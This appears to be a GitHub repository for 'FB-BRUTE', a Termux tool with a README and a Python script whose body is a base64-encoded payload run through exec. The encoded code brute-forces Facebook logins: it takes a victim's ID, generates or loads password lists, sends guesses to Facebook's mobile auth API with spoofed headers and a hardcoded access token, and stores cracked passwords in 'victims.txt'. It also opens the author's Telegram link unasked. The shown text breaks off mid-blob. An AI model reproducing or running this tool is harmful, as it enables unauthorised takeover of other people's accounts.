├── README.md
└── FB-BRUTE.py
/README.md:
--------------------------------------------------------------------------------
1 | # FB-BRUTE
2 |
3 | ## Requirements -
4 | - Stable Internet Connection
5 | - 400+ MB Storage
6 | - Termux Version Upto Date
7 | - Android 7 or higher
8 | - Required modules in requirements.txt
9 | - No Root
10 | - No Termux Knowlegde
11 |
12 |

13 |
14 | #### INSTALL TOOL ON TERMUX
15 | ```python
16 | apt update && apt upgrade -y
17 | pkg install git
18 | pkg install python
19 | pip install requests
20 | git clone https://github.com/Xylon-404/FB-BRUTE.git
21 | cd FB-BRUTE
22 | python FB-BRUTE.py
23 | ```
24 |
25 |
26 |
27 | #### PASSWORD
28 | ```python
29 | XYLON
30 | ```
31 |
32 |
33 |
34 |
35 |
36 | #### SCREENSHOT
37 | 
38 | 
39 |
40 |
41 |
--------------------------------------------------------------------------------
/FB-BRUTE.py:
--------------------------------------------------------------------------------
1 | import base64
2 | exec(base64.b64decode(b'aW1wb3J0IG9zLCBzeXMsIHRpbWUsIHJhbmRvbSwganNvbiwgcmVxdWVzdHMsIG1lY2hhbml6ZSxkYXRldGltZQpmcm9tIHRpbWUgaW1wb3J0IHNsZWVwCmltcG9ydCByZXF1ZXN0cywgc3lzLCBvcywgcmFuZG9tLCB0aW1lLGpzb24KaW1wb3J0IHdlYmJyb3dzZXIKd2ViYnJvd3Nlci5vcGVuKCdodHRwczovL3QubWUvQWJkdWxsaGFfNDA0JykKdWFnZW50PVsiTW96aWxsYS81LjAgKExpbnV4OyBBbmRyb2lkIDEwOyBSZWRtaSBOb3RlIDggUHJvIEJ1aWxkL1FQMUEuMTkwNzExLjAyMDsgd3YpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb24vNC4wIENocm9tZS84My4wLjQxMDMuMTA2IE1vYmlsZSBTYWZhcmkvNTM3LjM2IFtGQl9JQUIvRkI0QTtGQkFWLzI3NS4wLjAuNDkuMTI3O10iLCAiW0ZCQU4vRkI0QTtGQkFWLzI0Ni4wLjAuNDkuMTIxO0ZCQlYvMTgxNDQ4NDQ5O0ZCRE0ve2RlbnNpdHk9MS41LHdpZHRoPTU0MCxoZWlnaHQ9OTYwfTtGQkxDL2VuX1VTO0ZCUlYvMTgzMTE5NTE2O0ZCQ1IvVE07RkJNRi92aXZvO0ZCQkQvdml2bztGQlBOL2NvbS5mYWNlYm9vay5rYXRhbmE7RkJEVi92aXZvIDE2MDY7RkJTVi82LjAuMTtGQk9QLzE7RkJDQS9hcm1lYWJpLXY3YTphcm1lYWJpO10iLCAiRGFsdmlrLzIuMS4wIChMaW51eDsgVTsgQW5kcm9pZCA1LjEuMTsgU00tSjMyMEYgQnVpbGQvTE1ZNDdWKSBbRkJBTi9GQjRBO0ZCQVYvNDMuMC4wLjI5LjE0NztGQlBOL2NvbS5mYWNlYm9vay5rYXRhbmE7RkJMQy9lbl9HQjtGQkJWLzE0Mjc0MTYxO0ZCQ1IvVGVsZTIgTFQ7RkJNRi9zYW1zdW5nO0ZCQkQvc2Ftc3VuZztGQkRWL1NNLUozMjBGO0ZCU1YvNS4wO0ZCQ0EvYXJtZWFiaS12N2E6YXJtZWFiaTtGQkRNL3tkZW5zaXR5PTMuMCx3aWR0aD0xMDgwLGhlaWdodD0xOTIwfTtGQl9GVy8xO10iLCAiTW96aWxsYS81LjAgKExpbnV4OyBBbmRyb2lkIDUuMS4xOyBBMzdmIEJ1aWxkL0xNWTQ3Vjsgd3YpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb24vNC4wIENocm9tZS84OC4wLjQzMjQuMTUyIE1vYmlsZSBTYWZhcmkvNTM3LjM2IFtGQl9JQUIvRkI0QTtGQkFWLzMwNS4xLjAuNDAuMTIwO10iLCAiTW96aWxsYS81LjAgKExpbnV4OyBBbmRyb2lkIDEwOyBSRUFMTUUgUk1YMTkxMSBCdWlsZC9OTUYyNkYpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS83Ni4wLjM4MDkuMTExIE1vYmlsZSBTYWZhcmkvNTM3LjM2IEFsb2hhQnJvd3Nlci8yLjIwLjMiLCAiTW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxMV8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTIxNiBbRkJBTi9GQklPUztGQkFWLzE3MC4wLjAuNjAuOTE7RkJCVi8xMDU5NjQ3NjQ7RkJEVi9pUGhvbmUxMCwxO0ZCTUQvaVBob25lO0ZCU04vaU9TO0ZCU1YvMTEuMztGQlNTLzI7RkJDUi9TcHJpbnQ7RkJJRC9waG9uZTtGQkxDL2VuX1VTO0ZCT1AvNTtGQlJWLzEwNjYzMTAwMl0iLCAiTW96aWxsYS81LjAgKExpbnV4OyBBbmRyb2lkIDcuMS4xOyBBU1VTIENocm9tZWJvb2sgRmxpcCBDMzAyIEJ1aWxkL1I3MC0xMTAyMS41Ni4wOyB3dikgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi80LjAgQ2hyb21lLzcwLjAuMzUzOC44MCBTYWZhcmkvNTM3LjM2IFtGQl9JQUIvRkI0QTtGQkFWLzE5OC4wLjAuNTMuMTAxO10iXQojX19fX19fX19fX19fX19fX19fWyBTWVMgXV9fX19fX19fX19fX19fX19fXyMKc3lzLnN0ZG91dC53cml0ZSgnXHgxYl0yOynimpzvuI9GQi3wn5KALUJSVVRF4pqc77iPXHgwNycpCmRlZiBzbG93KHQpOgogICAgZm9yIGUgaW4gdCArICdcbic6CiAgICAgICAgc3lzLnN0ZG91dC53cml0ZShlKQogICAgICAgIHN5cy5zdGRvdXQuZmx1c2goKQogICAgICAgIHNsZWVwKDAuMDYpCgpsaW5lcz0iXDAzM1sxOzM0beKVkFwwMzNbMTszN20iKjUwCmRlZiBiYW5uZXIoKToKICBvcy5zeXN0ZW0oImNsZWFyIikKICBwcmludCgiXG5cbiIpCiAgcHJpbnQobGluZXMpCiAgcHJpbnQoIiIiCiAgCiAg4paI4paI4paI4paI4paI4paS4paE4paE4paE4paEICAgICAgICAgIOKWhOKWhOKWhOKWhCAgICDilojilojiloDilojilojiloggICDiloggICAg4paI4paIIOKWhOKWhOKWhOKWiOKWiOKWiOKWiOKWiOKWk+KWk+KWiOKWiOKWiOKWiOKWiCAK4paT4paI4paIICAg4paS4paT4paI4paI4paI4paI4paI4paEICAgICAgIOKWk+KWiOKWiOKWiOKWiOKWiOKWhCDilpPilojilogg4paSIOKWiOKWiOKWkiDilojiloggIOKWk+KWiOKWiOKWkuKWkyAg4paI4paI4paSIOKWk+KWkuKWk+KWiCAgIOKWgCAK4paS4paI4paI4paI4paIIOKWkeKWkuKWiOKWiOKWkiDiloTilojiloggICAgICDilpLilojilojilpIg4paE4paI4paI4paT4paI4paIIOKWkeKWhOKWiCDilpLilpPilojiloggIOKWkuKWiOKWiOKWkeKWkiDilpPilojilojilpEg4paS4paR4paS4paI4paI4paIICAgCuKWkeKWk+KWiOKWkiAg4paR4paS4paI4paI4paR4paI4paAICAgICAgICDilpLilojilojilpHilojiloAgIOKWkuKWiOKWiOKWgOKWgOKWiOKWhCAg4paT4paT4paIICDilpHilojilojilpHilpEg4paT4paI4paI4paTIOKWkSDilpLilpPiloggIOKWhCAK4paR4paS4paI4paRICAg4paR4paT4paIICDiloDilojilpMgICAgICDilpHilpPiloggIOKWgOKWiOKWk+KWkeKWiOKWiOKWkyDilpLilojilojilpLilpLilpLilojilojilojilojilojilpMgICDilpLilojilojilpIg4paRIOKWkeKWkuKWiOKWiOKWiOKWiOKWkgog4paSIOKWkSAgIOKWkeKWkuKWk+KWiOKWiOKWiOKWgOKWkiAgICAgIOKWkeKWkuKWk+KWiOKWiOKWiOKWgOKWkuKWkSDilpLilpMg4paR4paS4paT4paR4paR4paS4paT4paSIOKWkiDilpIgICDilpIg4paR4paRICAg4paR4paRIOKWkuKWkSDilpEKIOKWkSAgICAg4paS4paR4paSICAg4paRICAgICAgIOKWkuKWkeKWkiAgIOKWkSAgIOKWkeKWkiDilpEg4paS4paR4paR4paR4paS4paRIOKWkSDilpEgICAgIOKWkSAgICAg4paRIOKWkSAg4paRCiDilpEg4paRICAgIOKWkSAgICDilpEgICAgICAgIOKWkSAgICDilpEgICDilpHilpEgICDilpEgIOKWkeKWkeKWkSDilpEg4paRICAg4paRICAgICAgICAg4paRICAgCiAgICAgICAg4paRICAgICAgICAgICAgIOKWkSAgICAgICAgIOKWkSAgICAgICAg4paRICAgICAgICAgICAgICAgICDilpEgIOKWkQogICAgICAgICAgICAg4paRICAgICAgICAgICAgIOKWkSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAKICAg8J2Qk/CdkI7wnZCO8J2QiyDwnZCN8J2QgPCdkIzwnZCEICAgOiBcMDMzWzE7MzJtRkItQlJVVEUgRk9SQ0VcMDMzWzE7MzdtCiAgIPCdkIPwnZCE8J2QgvCdkI7wnZCD8J2QhCDwnZCB8J2QmCA6IFwwMzNbMTszMm3wnZS48J2UufCdlLvwnZWM8J2Vg/CdlYPihI3wnZS4IHwgQFh5bG9uMTU5MCDigKJcMDMzWzE7MzdtCiAgIPCdkJPwnZCE8J2Qi/CdkITwnZCG8J2QkfCdkIDwnZCMIPCdkILwnZCH8J2QgPCdkI3wnZCN8J2QhPCdkIsgOiBcMDMzWzE7MzJtQEFiZHVsbGhhXzQwNFwwMzNbMTszN20KICAiIiIpCiAgcHJpbnQobGluZXMpCiAgdXBhc3M9aW5wdXQoIlxuICAgW+KAol0g8J+UkPCdkITwnZCN8J2Qk/CdkITwnZCRIPCdkI/wnZCA8J2QkvCdkJLwnZCW8J2QjvCdkJHwnZCD8J+UkTogIikKICBpZiB1cGFzcz09IlhZTE9OIjoKICAgIHNsb3coIiAgIFvigKJdIPCfpKnwnZCP8J2QgPCdkIDwnZCW8J2QjvCdkJHwnZCDIPCdkILwnZCO8J2QkfCdkJHwnZCE8J2QgvCdkJPwn5STIikKICAgIHRpbWUuc2xlZXAoMikKICAgIG1iYW5uZXIoKQogICAgcGFzcwogIGVsc2U6CiAgICBwcmludChsaW5lcykKICAgIHNsb3coIiAgIFvigKJdIPCfmKLwnZCP8J2QgPCdkJLwnZCS8J2QlvCdkI7wnZCR8J2QgyDwnZCW8J2QkfCdkI7wnZCN8J2QhvCflJIhISIpCiAgICBzbG93KCIgICBb4oCiXSDwn5Sw8J2QifCdkI7wnZCI8J2QjSDwnZCM8J2QmCDwnZCT8J2QhPCdkIvwnZCE8J2QhvCdkJHwnZCA8J2QjCDwnZCC8J2Qh/CdkI3wnZCN8J2QhPCdkIvwn5SwIHwg4pqc77iPICAgIEBBYmR1bGxoYV80MDQgICAgIOKanO+4jyIpCiAgICBwcmludChsaW5lcykKICAgIHN5cy5leGl0KCkKICBtZW51KCkKZGVmIG1iYW5uZXIoKToKICBvcy5zeXN0ZW0oImNsZWFyIikKICBwcmludCgiXG5cbiIpCiAgcHJpbnQobGluZXMpCiAgcHJpbnQoIiIiCiAgCiAg4paI4paI4paI4paI4paI4paS4paE4paE4paE4paEICAgICAgICAgIOKWhOKWhOKWhOKWhCAgICDilojilojiloDilojilojiloggICDiloggICAg4paI4paIIOKWhOKWhOKWhOKWiOKWiOKWiOKWiOKWiOKWk+KWk+KWiOKWiOKWiOKWiOKWiCAK4paT4paI4paIICAg4paS4paT4paI4paI4paI4paI4paI4paEICAgICAgIOKWk+KWiOKWiOKWiOKWiOKWiOKWhCDilpPilojilogg4paSIOKWiOKWiOKWkiDilojiloggIOKWk+KWiOKWiOKWkuKWkyAg4paI4paI4paSIOKWk+KWkuKWk+KWiCAgIOKWgCAK4paS4paI4paI4paI4paIIOKWkeKWkuKWiOKWiOKWkiDiloTilojiloggICAgICDilpLilojilojilpIg4paE4paI4paI4paT4paI4paIIOKWkeKWhOKWiCDilpLilpPilojiloggIOKWkuKWiOKWiOKWkeKWkiDilpPilojilojilpEg4paS4paR4paS4paI4paI4paIICAgCuKWkeKWk+KWiOKWkiAg4paR4paS4paI4paI4paR4paI4paAICAgICAgICDilpLilojilojilpHilojiloAgIOKWkuKWiOKWiOKWgOKWgOKWiOKWhCAg4paT4paT4paIICDilpHilojilojilpHilpEg4paT4paI4paI4paTIOKWkSDilpLilpPiloggIOKWhCAK4paR4paS4paI4paRICAg4paR4paT4paIICDiloDilojilpMgICAgICDilpHilpPiloggIOKWgOKWiOKWk+KWkeKWiOKWiOKWkyDilpLilojilojilpLilpLilpLilojilojilojilojilojilpMgICDilpLilojilojilpIg4paRIOKWkeKWkuKWiOKWiOKWiOKWiOKWkgog4paSIOKWkSAgIOKWkeKWkuKWk+KWiOKWiOKWiOKWgOKWkiAgICAgIOKWkeKWkuKWk+KWiOKWiOKWiOKWgOKWkuKWkSDilpLilpMg4paR4paS4paT4paR4paR4paS4paT4paSIOKWkiDilpIgICDilpIg4paR4paRICAg4paR4paRIOKWkuKWkSDilpEKIOKWkSAgICAg4paS4paR4paSICAg4paRICAgICAgIOKWkuKWkeKWkiAgIOKWkSAgIOKWkeKWkiDilpEg4paS4paR4paR4paR4paS4paRIOKWkSDilpEgICAgIOKWkSAgICAg4paRIOKWkSAg4paRCiDilpEg4paRICAgIOKWkSAgICDilpEgICAgICAgIOKWkSAgICDilpEgICDilpHilpEgICDilpEgIOKWkeKWkeKWkSDilpEg4paRICAg4paRICAgICAgICAg4paRICAgCiAgICAgICAg4paRICAgICAgICAgICAgIOKWkSAgICAgICAgIOKWkSAgICAgICAg4paRICAgICAgICAgICAgICAgICDilpEgIOKWkQogICAgICAgICAgICAg4paRICAgICAgICAgICAgIOKWkSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAKICAg8J2Qk/CdkI7wnZCO8J2QiyDwnZCN8J2QgPCdkIzwnZCEICAgOiBcMDMzWzE7MzJtRkItQlJVVEUgRk9SQ0VcMDMzWzE7MzdtCiAgIPCdkIPwnZCE8J2QgvCdkI7wnZCD8J2QhCDwnZCB8J2QmCA6IFwwMzNbMTszMm3wnZS48J2UufCdlLvwnZWM8J2Vg/CdlYPihI3wnZS4IHwgQFh5bG9uMTU5MCDigKJcMDMzWzE7MzdtCiAgIPCdkJPwnZCE8J2Qi/CdkITwnZCG8J2QkfCdkIDwnZCMIPCdkILwnZCH8J2QgPCdkI3wnZCN8J2QhPCdkIsgOiBcMDMzWzE7MzJtQEFiZHVsbGhhXzQwNFwwMzNbMTszN20KICAiIiIpCmRlZiBtZW51KCk6CiAgcHJpbnQobGluZXMpCiAgcHJpbnQoIiIiICAgICAgICAgICAgICDimpzvuI/wnZCC8J2Qh/CdkI7wnZCO8J2QkvCdkIQg8J2QjvCdkI0g8J2QjvCdkI/wnZCT8J2QiPCdkI7wnZCN4pqc77iPCiAgCiAgIFsxXSDwn5Sw8J2QkvCdkJPwnZCA8J2QkfCdkJMg8J2QgfCdkJHwnZCU8J2Qk/CdkIQtLS0t8J2QgPCdkJPwnZCT8J2QgPCdkILwnZCK8J+UsAogICBbMl0g8J+UsPCdkInwnZCO8J2QiPCdkI0g8J2QgvCdkIfwnZCN8J2QjfCdkITwnZCL8J+UsAogICBbM10g8J+UsPCdkIPwnZCE8J2QlfCdkI7wnZCL8J2QhPCdkI/wnZCE8J2QkfCflLAKICAgWzRdIPCflLDwnZCM8J2QjvCdkJHwnZCEIPCdkJPwnZCO8J2QjvCdkIvwn5SwCiAgIFs1XSDwn5Sw8J2Qg/CdkITwnZCL8J2QhPCdkJMg8J2QgvCdkIDwnZCC8J2Qh/CdkITwn5SwCiAgIFs2XSDwn5Sw8J2QhPCdkJfwnZCI8J2QkyDwnZCT8J2QjvCdkI7wnZCL8J+UsCIiIikKICBjaG9vc2UoKQpkZWYgY2hvb3NlKCk6CiAgYT1pbnB1dCgiXG5cbiAgIFs+Pj5dIPCfkoDwnZCE8J2QjfCdkJPwnZCE8J2QkSDwnZCY8J2QjvCdkJTwnZCRIPCdkI7wnZCP8J2Qk/CdkIjwnZCO8J2QjeKdkyA6ICIpCiAgaWYgYT09IjEiIG9yIGE9PSIwMSI6CiAgICBvcy5zeXN0ZW0oInhkZy1vcGVuIGh0dHBzOi8vdC5tZS9BYmR1bGxoYV80MDQiKQogICAgcGFzcwogIGVsaWYgYT09IjIiIG9yIGE9PSIwMiI6CiAgICB3ZWJicm93c2VyLm9wZW4oJ2h0dHBzOi8vdC5tZS9BYmR1bGxoYV80MDQnKQogICAgc3lzLmV4aXQoKQogIGVsaWYgYT09IjMiIG9yIGE9PSIwMyI6CiAgICB3ZWJicm93c2VyLm9wZW4oJ2h0dHBzOi8vdC5tZS9BYmR1bGxoYV80MDQnKQogICAgc3lzLmV4aXQoKQogIGVsaWYgYT09IjQiIG9yIGE9PSIwNCI6CiAgICBwcmludCgn8J+FufCfhb7wn4W48J+FvSDwn4W88J+GiCDwn4Wy8J+Ft/Cfhb3wn4W98J+FtPCfhbsgfCBAQWJkdWxsaGFfNDA0IOKAoicpCiAgICBzeXMuZXhpdCgpCiAgZWxpZiBhPT0iNSIgb3IgYT09IjA1IjoKICAgIHByaW50KGxpbmVzKQogICAgc2xvdygiICAgICBb4oCiXSDwnZCP8J2Qi/CdkIDwnZCC8J2QhCDwnZCW8J2QgPCdkIjwnZCTIPCdkIAg8J2QjPCdkI7wnZCM8J2QhPCdkI3wnZCTIikKICAgIHNsb3coIiAgICAgW+KAol0g8J2Qk/CdkJHwnZCY8J2QiPCdkI3wnZCGIPCdkJPwnZCOIPCdkJHwnZCE8J2QjPCdkI7wnZCV8J2QiPCdkI3wnZCGIPCdkIDwnZCL8J2QiyDwnZCC8J2QgPCdkILwnZCH8J2QhC4uLi4iKQogICAgb3Muc3lzdGVtKCJ0b3VjaCAuYXV0b3Bhc3MgJiYgdG91Y2ggaGFja2VkLnR4dCIpCiAgICB0aW1lLnNsZWVwKDIpCiAgICBvcy5zeXN0ZW0oInJtIC5hdXRvcGFzcyAmJiBybSBoYWNrZWQudHh0IikKICAgIHNsb3coIiAgICAgW+KAol0g8J2QgPCdkIvwnZCLIPCdkILwnZCA8J2QgvCdkIfwnZCEIPCdkJHwnZCE8J2QjPCdkI7wnZCV8J2QhPCdkIMg8J2QkvCdkJTwnZCC8J2QgvCdkITwnZCS8J2QhfCdkJTwnZCL8J2Qi/CdkJgiKQogICAgcHJpbnQobGluZXMpCiAgICBzeXMuZXhpdCgpCiAgZWxpZiBhPT0iNiIgb3IgYT09IjA2IjoKICAgIHNsb3coIlxuICAgW+KAol0g8J2QhPCdkJfwnZCI8J2QkyDwnZCS8J2QlPCdkILwnZCC8J2QhPCdkJLwnZCF8J2QlPCdkIvwnZCL8J2QmFxuIikKICAgIHN5cy5leGl0KCkKICBlbHNlOgogICAgc2xvdygiXG4gICBb4oCiXSDwnZCW8J2QkfCdkI7wnZCN8J2QhiDwnZCV8J2QgPCdkIvwnZCU8J2QhCDwnZCE8J2QjfCdkJPwnZCE8J2QkfCdkITwnZCDIikKICAgIHNsb3coIiAgIFvigKJdIPCdkJPwnZCR8J2QmCDwnZCA8J2QhvCdkIDwnZCI8J2QjVxuIikKICAgIG1lbnUoKQpiYW5uZXIoKQppZD1bXQpwcmludChsaW5lcykKdmljdGltID0gaW5wdXQoIiAgIFvigKJdIPCflLTwnZCE8J2QjfCdkJPwnZCE8J2QkSDwnZCV8J2QiPCdkILwnZCT8J2QiPCdkIwg8J2QlPCdkIjwnZCD8J+UtDogIikKcHJpbnQobGluZXMpCnBhc3NsaXN0PSBpbnB1dCgiICAgW+KAol0g8J+fofCdkI/wnZCA8J2QkvCdkJLwnZCW8J2QjvCdkITwnZCDIPCdkIvwnZCI8J2QkvCdkJPwn5+hW/CdkI/wnZCL8J2QhPCdkIDwnZCS8J2QhCDwnZCE8J2Qi/CdkJPwnZCE8J2QkV3wn5uh77iPICIpCgppZiBwYXNzbGlzdCA9PSAiIiBvciBwYXNzbGlzdCA9PSAiICIgb3IgcGFzc2xpc3Q9PSIgICI6CiAgZmlsPSIuYXV0b3Bhc3MiCiAgc2xvdygiXG4gICBb4oCiXSDij7HvuI/wnZCP8J2Qi/CdkITwnZCA8J2QkvCdkIQg8J2QlvCdkIDwnZCI8J2Qk+KPse+4jyIpCiAgc2xvdygiICAgW+KAol0g8J+Yj/CdkIbwnZCE8J2QjfCdkIDwnZCR8J2QhPCdkIMg8J2Qj/CdkIDwnZCS8J2QkvCdkJbwnZCO8J2QkfCdkIMg8J2Qi/CdkIjwnZCS8J2Qk/CfmI8iKQogIGlpID0gOTk5OTkKICBmID0gb3BlbigiLmF1dG9wYXNzIiwidyIpCiAgd2hpbGUgVHJ1ZToKCSAgaWkgKz0gMQoJICBmLndyaXRlKHN0cihpaSkrIlxuIikKCSAgaWYgaWk9PTEwMDAwMDA6CgkJICBicmVhawogIGYuY2xvc2UoKQogIHNsb3coIiAgIFvigKJdIPCflLXwnZCP8J2QgPCdkJLwnZCS8J2QlvCdkI7wnZCE8J2QgyDwnZCL8J2QiPCdkJLwnZCTIPCdkIbwnZCE8J2QjfCdkIDwnZCR8J2QhPCdkIPwn5S1IikKICBwcmludChsaW5lcykKICB0aW1lLnNsZWVwKDEpCiAgdHJ5OgogICAgdHQ9b3BlbihmaWwsInIiKQogICAgZnQ9dHQucmVhZGxpbmVzKCkKICAgIHRvdGFsPWxlbihmdCkKICAgIHR0LmNsb3NlKCkKICBleGNlcHQ6CiAgICBzbG93KCIgICBb4oCiXSDwnZCF8J2QiPCdkIvwnZCEIPCdkI3wnZCO8J2QkyDwnZCF8J2QjvCdkJTwnZCN8J2QgyIpCiAgICBzbG93KCIgICBb4oCiXSBUcnkgQWdhaW4iKQogICAgc3lzLmV4aXQoKQplbHNlOgogIGZpbD1wYXNzbGlzdAogIHRyeToKICAgIHR0PW9wZW4oZmlsLCJyIikKICAgIGZ0PXR0LnJlYWRsaW5lcygpCiAgICB0b3RhbD1sZW4oZnQpCiAgICB0dC5jbG9zZSgpCiAgZXhjZXB0OgogICAgc2xvdygiICAgW+KAol0g8J2QhfCdkIjwnZCL8J2QhCDwnZCN8J2QjvCdkJMg8J2QhfCdkI7wnZCU8J2QjfCdkIMiKQogICAgc2xvdygiICAgW+KAol0gVHJ5IEFnYWluIikKICAgIHN5cy5leGl0KCkKbWJhbm5lcigpCm5vdz0gZGF0ZXRpbWUuZGF0ZXRpbWUubm93KCkKcnRpbWU9bm93LnN0cmZ0aW1lKCIlSDolTTolUyIpCnByaW50KGxpbmVzKQpwcmludCgiICAgW+KAol0g8J+kjfCdkJXwnZCI8J2QgvCdkJPwnZCI8J2QjCDwnZCU8J2QiPCdkIPwn6SNOiAiK3N0cih2aWN0aW0pKQpwcmludCgiICAgW+KAol0g8J+nofCdkJPwnZCO8J2Qk/CdkIDwnZCLIPCdkI/wnZCA8J2QkvCdkJLwnZCW8J2QjvCdkJHwnZCD8J+noTogIitzdHIodG90YWwpKQpwcmludCgiICAgW+KAol0g8J+SmvCdkJPwnZCR8J2QmPCdkIjwnZCN8J2QhiDwnZCF8J2QkfCdkI7wnZCM8J+SmjogIitmaWwpCnByaW50KCIgICBb4oCiXSDwn5KZIPCdkJLwnZCA8J2QlfCdkIQg8J2QiPCdkI3wn5KZIHZpY3RpbXMudHh0IikKcHJpbnQoIiAgIFvigKJdIPCflZvwnZCA8J2Qk/CdkJPwnZCA8J2QgvCdkIog8J2Qk/CdkIjwnZCM8J2QhPCflZs6ICIrc3RyKHJ0aW1lKSkKcHJpbnQobGluZXMpCnNsb3coIlxuICAg4pqg77iP8J2QgPCdkJPwnZCT8J2QgPCdkILwnZCKIPCdkJLwnZCT8J2QgPCdkJHwnZCT4pqg77iPLi4uLi4uLi4uLi5cbiIpCnRpbWUuc2xlZXAoMikKZGVmIGNyYWNrX2ZpbGUoKToKICBwYXN3PW9wZW4oZmlsLCJyIikKICBmb3IgaSBpbiByYW5nZShpbnQodG90YWwpKToKICAgIHRyeToKICAgICAgdHJ5OgogICAgICAgIHB3PXBhc3cucmVhZGxpbmUoKQogICAgICAgIHB3PXB3LnJlcGxhY2UoIlxuIiwiIikKICAgICAgICBuYWdlbnQgPSByYW5kb20uY2hvaWNlKHVhZ2VudCkKICAgICAgICBzZXMgPSByZXF1ZXN0cy5TZXNzaW9uKCkKICAgICAgICBoZWFkZXJzID0gewogICAgICAJCQkJCSJ4LWZiLWNvbm5lY3Rpb24tYmFuZHdpZHRoIjogc3RyKHJhbmRvbS5yYW5kaW50KDIwMDAwMDAwLjAsIDMwMDAwMDAwLjApKSwgCiAgICAgIAkJCQkJIngtZmItc2ltLWhuaSI6IHN0cihyYW5kb20ucmFuZGludCgyMDAwMCwgNDAwMDApKSwgCiAgICAgIAkJCQkJIngtZmItbmV0LWhuaSI6IHN0cihyYW5kb20ucmFuZGludCgyMDAwMCwgNDAwMDApKSwgCiAgICAgIAkJCQkJIngtZmItY29ubmVjdGlvbi1xdW5pc2FkdHkiOiAiRVhDRUxMRU5UIiwKICAgICAgCQkJCQkieC1mYi1jb25uZWN0aW9uLXR5cGUiOiAiY2VsbC5DVFJhZGlvQWNjZXNzVGVjaG5vbG9neUhTRFBBIiwKICAgICAgCQkJCQkidXNlci1hZ2VudCI6IG5hZ2VudCwgCiAgICAgIAkJCQkJImNvbnRlbnQtdHlwZSI6ICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiLCAKICAgICAgCQkJCQkieC1mYi1odHRwLWVuZ2luZSI6ICJMaWdlciIKICAgICAgCQkJCX0KICAgICAgICAKICAgICAgICByZXNwb25zZSA9IHNlcy5nZXQoImh0dHBzOi8vYi1hcGkuZmFjZWJvb2suY29tL21ldGhvZC9hdXRoLmxvZ2luP2Zvcm1hdD1qc29uJmVtYWlsPSIrc3RyKHZpY3RpbSkrIiZwYXNzd29yZD0iK3N0cihwdykrIiZjcmVkZW50aWFsc190eXBlPWRldmljZV9iYXNlZF9sb2dpbl9wYXNzd29yZCZnZW5lcmF0ZV9zZXNzaW9uX2Nvb2tpZXM9MSZlcnJvcl9kZXRhaWxfdHlwZT1idXR0b25fd2l0aF9kaXNhYmxlZCZzb3VyY2U9ZGV2aWNlX2Jhc2VkX2xvZ2luJm1ldGFfaW5mX2ZibWV0YT0lMjAmY3VycmVudGx5X2xvZ2dlZF9pbl91c2VyaWQ9MCZtZXRob2Q9R0VUJmxvY2FsZT1lbl9VUyZjbGllbnRfY291bnRyeV9jb2RlPVVTJmZiX2FwaV9jYWxsZXJfY2xhc3M9Y29tLmZhY2Vib29rLmZvcy5oZWFkZXJzdjIuZmI0YW9yY2EuSGVhZGVyc1YyQ29uZmlnRmV0Y2hSZXF1ZXN0SGFuZGxlciZhY2Nlc3NfdG9rZW49MzUwNjg1NTMxNzI4fDYyZjhjZTlmNzRiMTJmODRjMTIzY2MyMzQzN2E0YTMyJmZiX2FwaV9yZXFfZnJpZW5kbHlfbmFtZT1hdXRoZW50aWNhdGUmY3BsPXRydWUiLCBoZWFkZXJzPWhlYWRlcnMpCiAgICAgICAgI3ByaW50KHJlc3BvbnNlLnRleHQpCiAgICAgICAgaG5vdz0gZGF0ZXRpbWUuZGF0ZXRpbWUubm93KCkKICAgICAgICBodGltZT1obm93LnN0cmZ0aW1lKCIlSDolTTolUyIpCiAgICAgICAgaWYgInNlc3Npb25fa2V5IiBpbiByZXNwb25zZS50ZXh0IGFuZCAiRUFBQSIgaW4gcmVzcG9uc2UudGV4dDoKICAgICAgCSAgI3Rvaz0gcmVzcG9uc2UuanNvbigpWyJhY2Nlc3NfdG9rZW4iXQogICAgICAJICAjcHJpbnQocmVzcG9uc2UudGV4dCkKICAgICAgCSAgcHJpbnQobGluZXMpCiAgICAgIAkgIHByaW50KCIgICBb4oCiXSDwn6Sv8J2Qj/CdkIDwnZCS8J2QkvCdkJbwnZCO8J2QkfCdkIMg8J2QhfCdkI7wnZCU8J2QjfCdkIPwn6SvIikKICAgICAgCSAgcHJpbnQoIiAgIFvigKJdIPCfmJHwnZCS8J2Qk/CdkIDwnZCT8J2QlPCdkJI6IPCdkJLwnZCU8J2QgvCdkILwnZCE8J2QkvCdkJLwnZCF8J2QlPCdkIvwn5iRIikKICAgICAgCSAgcHJpbnQoIiAgIFvigKJdIPCfp5DwnZCU8J2QiPCdkIPwn6eQOiAiK3ZpY3RpbSkKICAgICAgCSAgcHJpbnQoIiAgIFvigKJdIPCfpKvwnZCP8J2QgPCdkJLwnZCS8J2QlvCdkI7wnZCR8J2Qg/CfpKs6ICIrcHcpCiAgICAgIAkgIHNhdmU9b3BlbigidmljdGltcy50eHQiLCJhIikKICAgICAgCSAgc2F2ZS53cml0ZSgi8J+kr/CdkJXwnZCI8J2QgvCdkJPwnZCI8J2QjCDwnZCF8J2QjvCdkJTwnZCN8J2Qg/CfpK9cblN0YXR1czogU3VjY2Vzc2Z1bFxuVWlkOiAiK3ZpY3RpbSsiXG5QYXNzd29yZDogIitzdHIocHcpKyJcbkF0dGFja2luZyBUaW1lOiAiK3J0aW1lKyJcbkhhY2tlZCBUaW1lOiAiK2h0aW1lKyJcblxuIikKICAgICAgCSAgc2F2ZS5jbG9zZSgpCiAgICAgIAkgIHByaW50KGxpbmVzKQogICAgICAJICBicmVhawogICAgICAgIGVsaWYgInd3dy5mYWNlYm9vay5jb20iIGluIHJlc3BvbnNlLmpzb24oKVsiZXJyb3JfbXNnIl06CiAgICAgIAkgIHByaW50KGxpbmVzKQogICAgICAJIC